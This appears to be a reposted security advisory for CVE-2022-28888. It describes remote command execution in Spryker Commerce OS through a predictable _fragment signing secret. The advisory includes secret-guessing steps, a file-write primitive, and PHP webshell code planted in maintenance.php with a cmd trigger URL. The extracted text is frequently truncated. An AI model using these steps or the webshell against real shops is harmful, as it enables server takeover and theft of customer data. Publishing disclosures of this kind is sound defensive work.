Authored by David Brown, Marcelo Reyes | Site

Spryker Commerce OS with spryker/http module versions prior to 1.7.0 suffer from a remote command execution vulnerability due to a predictable value in use.

advisories | CVE-2022-28888


SCHUTZWERK-SA-2022-003: Remote Command Execution in Spryker Commerce OS





CVE reference



Text-only version:

Affected products/vendor

Spryker Commerce OS by Spryker Systems GmbH, with spryker/http module <


A predictable value is used to sign and verify special _fragment URLs in
Spryker Commerce OS with spryker/http module < 1.7.0. Attackers that can
this value are able to generate valid _fragment URLs which allow calling PHP
methods, with certain restrictions. It could be demonstrated that this
attackers to write arbitrary content to files on the file system, which, in
turn, allows for execution of arbitrary PHP commands in many setups and
therefore remote command execution.


The vulnerability allows attackers to execute arbitrary commands on an
operating system-level on systems where the Spryker Commerce OS is
In many cases, authentication is not necessary for successful
exploitation. If
attackers have already determined that Spryker Commerce OS is utilized
fingerprinting, checking for the presence of the vulnerability is
trivial. With
the ability to execute arbitrary commands, attacks can, for example, access
customer data of the affected shop.


A webshop that was recently assessed for security vulnerabilities by
was found to contain a remote command execution vulnerability. The
in scope is based on a framework by Spryker -- Spryker Commerce OS.
framework, in turn, is based on Symfony[0] and/or Silex[1].

Symfony and Silex both support a special _fragment endpoint. This
feature was
analyzed by Ambionics Security[2] in 2020. In their write up, the feature is
described as follows:

One of Symfony's built-in features, made to handle ESI (Edge-Side
Includes)[3], is the FragmentListener class[4]. Essentially, when someone
issues a request to /_fragment, this listener sets request attributes
given GET parameters. Since this allows to run arbitrary PHP code [...],
the request has to be signed using a HMAC value. [...]

[...] Given its importance, [the secret used for signing] must
obviously be
very random.

At least parts of the source code of the Spryker framework are open
source and
publicly accessible via GitHub. During the assessment, while certain
security-sensitive parts of the source code were reviewed, it was discovered
that the secret used to sign and verify _fragment URLs is static and
predictable. The secret is set to md5(__DIR__) in the PHP file
HttpFragmentServiceProvider.php[5] and in two different HttpConfig.php[6][7]

__DIR__ is a built-in "magic constant" in PHP[8] and it corresponds to "the
directory of the file". It is not entirely clear, which of these PHP
files is
actually included and loaded by the Spryker framework. However, it is
that the file http/src/Spryker/Shared/Http/HttpConfig.php is the culprit.

Guessing the secret

In order to gain a better understanding of the vulnerability, SCHUTZWERK
set up
a local Spryker development instance with a demo shop[9] in order to
allow for
more in-depth debugging.

By inspecting the source code and adding appropriate debug statements, the
secret was identified as e3ae11e53f7c3d72da08784b9af763f9. This
corresponds to
the MD5 sum of the path

$ echo -n '/data/shop/development/current/vendor/spryker/http/src/Spryker/'
'Shared/Http'| md5sum
e3ae11e53f7c3d72da08784b9af763f9 -

The proof-of-concept script[10] was developed in order to
automate the process of identifying the secret based on a list of known
paths. The script was executed as follows against the local development
instance and correctly identified the static secret:

$ python3 --path-list known_spryker_paths.txt


This verification step does not require authentication in the default
configuration. The script generates _fragment URLs based on a provided
list of
paths and detects whether the server views these URLs as valid (correctly
signed) or not. This distinction is made based on different observations
status code, response content, etc.).

The same script was then executed against the customer's instance:

$ python3 --path-list known_spryker_paths.txt
[-] [CUSTOMER_DOMAIN]/_fragment e3ae11e53f7c3d72da08784b9af763f9
[-] [CUSTOMER_DOMAIN]/_fragment faf0d063ad6adf3776d59bc55a17aa5f
[-] [CUSTOMER_DOMAIN]/_fragment 8399015c0dbbf2162983fb7ad0ea6a9a
[-] [CUSTOMER_DOMAIN]/_fragment 8baff412797b1ddd80cd968e7446aa06
[-] [CUSTOMER_DOMAIN]/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[+] [CUSTOMER_DOMAIN]/_fragment 9c15f40d8e5610e89caf6f9b7a97be3b

In this case, the identified secret 9c15f40d8e5610e89caf6f9b7a97be3b
corresponds to the path

The installation path of the application can of course vary greatly between
installations. However, if customers use the official Docker guide
provided by
Spryker, it is likely that they will use the paths utilized in the
examples and
thus share a common installation path.

Even if this is not the case, customers might share installation paths
multiple environments (development, production). A compromise of one
installation would therefore make a compromise of the other installations

Signing URLs

In addition to the secret, a URL must be passed to the HMAC function to form
the signature. However, in both instances of the vulnerability that were
discovered during the assessment, the URL was the same as the external URL.
This might be true for all Commerce OS installations.

With a valid secret and a URL, it is now possible to sign URLs. As shown
in the
write up of Ambionics Security, it is generally possible to execute
commands using different methods (direct reference of a PHP class/method or
deserialization of PHP objects). However, both approaches did not work,
due to code changes made by Spryker to Symfony/Silex.

Generally, the correct syntax for _fragment URLs is the following:

_hash=<valid URL signature>

Through further analysis, an alternative approach was discovered.
Replacing the
value of the URL parameter _path in the listing above allows to specify PHP
classes with certain limitations (decoded and reformatted for increased


At least the following limitations apply:

* Class must have no initialize function or, alternatively, an initialize
function without arguments
* Class must have an constructor without arguments

While examining the source code for possible candidates, the Symfony class
Filesystem was discovered. This class meets the limitations and allows
arbitrary content to a specified file path. The following payload was
(decoded and reformatted for increased readability):


The generated URL is as follows:

After execution, the content is written to the file:

[email protected] / $ cat /tmp/schutzwerk.php

With this primitive in place, it is possible to execute arbitrary PHP
code and
subsequently commands on an operating system level. To demonstrate this, the
following PHP code for a minimal webshell was appended to the file
in the
development instance:

if($_GET['pass']=="[email protected]"){
echo "<pre>";
echo "</pre>";

The generated URL is as follows:
3D%[email protected]%2522%2529%257B%250A%2B%2B%2B%2Bif%2528isset%2528%2524

Afterwards, the file contains the following content:

if (file_exists(__DIR__ . '/maintenance.marker')) {
echo file_get_contents(__DIR__ . '/index.html');
if($_GET['pass']=="[email protected]"){
echo "<pre>";
echo "</pre>";

Since the PHP file maintenance.php is consulted for every request, the
PHP webshell code can be executed using URLs similar to the following:[email protected]&cmd=id


1. Update spryker/http module to version 1.7.0
2. Configure SPRYKER_ZED_REQUEST_TOKEN environment variable with a long,
and secure string

Disclosure timeline

2022-04-07: Vulnerability discovered
2022-04-07: Initial contact with vendor
2022-04-08: Vulnerability reported to vendor
2022-04-08: CVE-2022-28888 assigned by MITRE
2022-04-11: Vendor notifies customers about vulnerability, releases patch
2022-04-26: Requested update from vendor
2022-05-05: Requested update from vendor
2022-06-20: Notified vendor of intention to publish advisory on 20220-06-30
2022-06-22: Vendor confirms that customers were notified about the
2022-07-12: Advisory published by SCHUTZWERK


The vulnerability was discovered during an assessment by David Brown and
Marcelo Reyes of SCHUTZWERK GmbH.




The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( ).

SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany

Phone +49 731 977 191 0
Fax +49 731 977 191 99
Mobile +49 171 337 2701

[email protected] /

Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm / HRB 727391